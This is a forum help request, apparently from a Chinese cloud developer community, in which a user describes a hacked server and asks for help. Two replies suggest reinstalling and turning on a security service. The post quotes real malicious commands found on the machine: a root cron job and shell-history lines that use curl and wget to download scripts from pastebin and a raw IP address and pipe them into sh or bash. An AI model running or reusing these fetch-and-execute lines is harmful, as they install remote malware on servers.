机器中了木马
感觉机器应该是中了木马，有一下几个现象：
1. 异常定时任务
root@iZ2ze82p1dogvdrx4fu0i7Z:~# cat /var/spool/cron/crontabs/root
*/31 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh
##
*/31 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh
##
2. 某些指令被劫持，比如top指令不正常显示系统使用指标，而是显示
root@iZ2ze82p1dogvdrx4fu0i7Z:~# top
PID TTY TIME CMD
31637 pts/3 00:00:00 bash
32078 pts/3 00:00:00 top
PID TTY TIME CMD
31637 pts/3 00:00:00 bash
32078 pts/3 00:00:00 top
3. 通过history指令查看到一些异常的历史操作
1878 2018-09-10 15:18:59 root wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh
1879 2018-09-02 15:03:03 root ufw status
1880 2018-09-02 15:04:49 root curl -s http://192.99.142.248:8220/
1879 2018-09-02 15:03:03 root ufw status
1880 2018-09-02 15:04:49 root curl -s http://192.99.142.248:8220/
请协助分析并解决问题。
展开
收起
4
条回答
写回答
写回答
-
-
郑州云淘科技有限公司 www.yuntaokeji.com QQ号码78315851中毒问题排查确实比较麻烦。如果可以尝试备份数据后重做系统。2018-09-10 15:46:02赞同 展开评论 打赏
-
建议您进行系统安全加固下或者 开启云盾服务，并开启所有云盾安全防护功能对您的主机进行安全防护，免于再次遭到恶意攻击。实施安全防御方案
请您尽快开启云盾服务，开启步骤详见：http://help.aliyun.com/view/11108300_13730770.html
同时也建议您开启云盾应用防火墙功能，开启步骤详见：
http://help.aliyun.com/view/11108300_13857395.html
2018-09-10 15:25:12赞同 展开评论 打赏 -
版权声明：本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
相关问答
问答排行榜
最热
最新
推荐问答
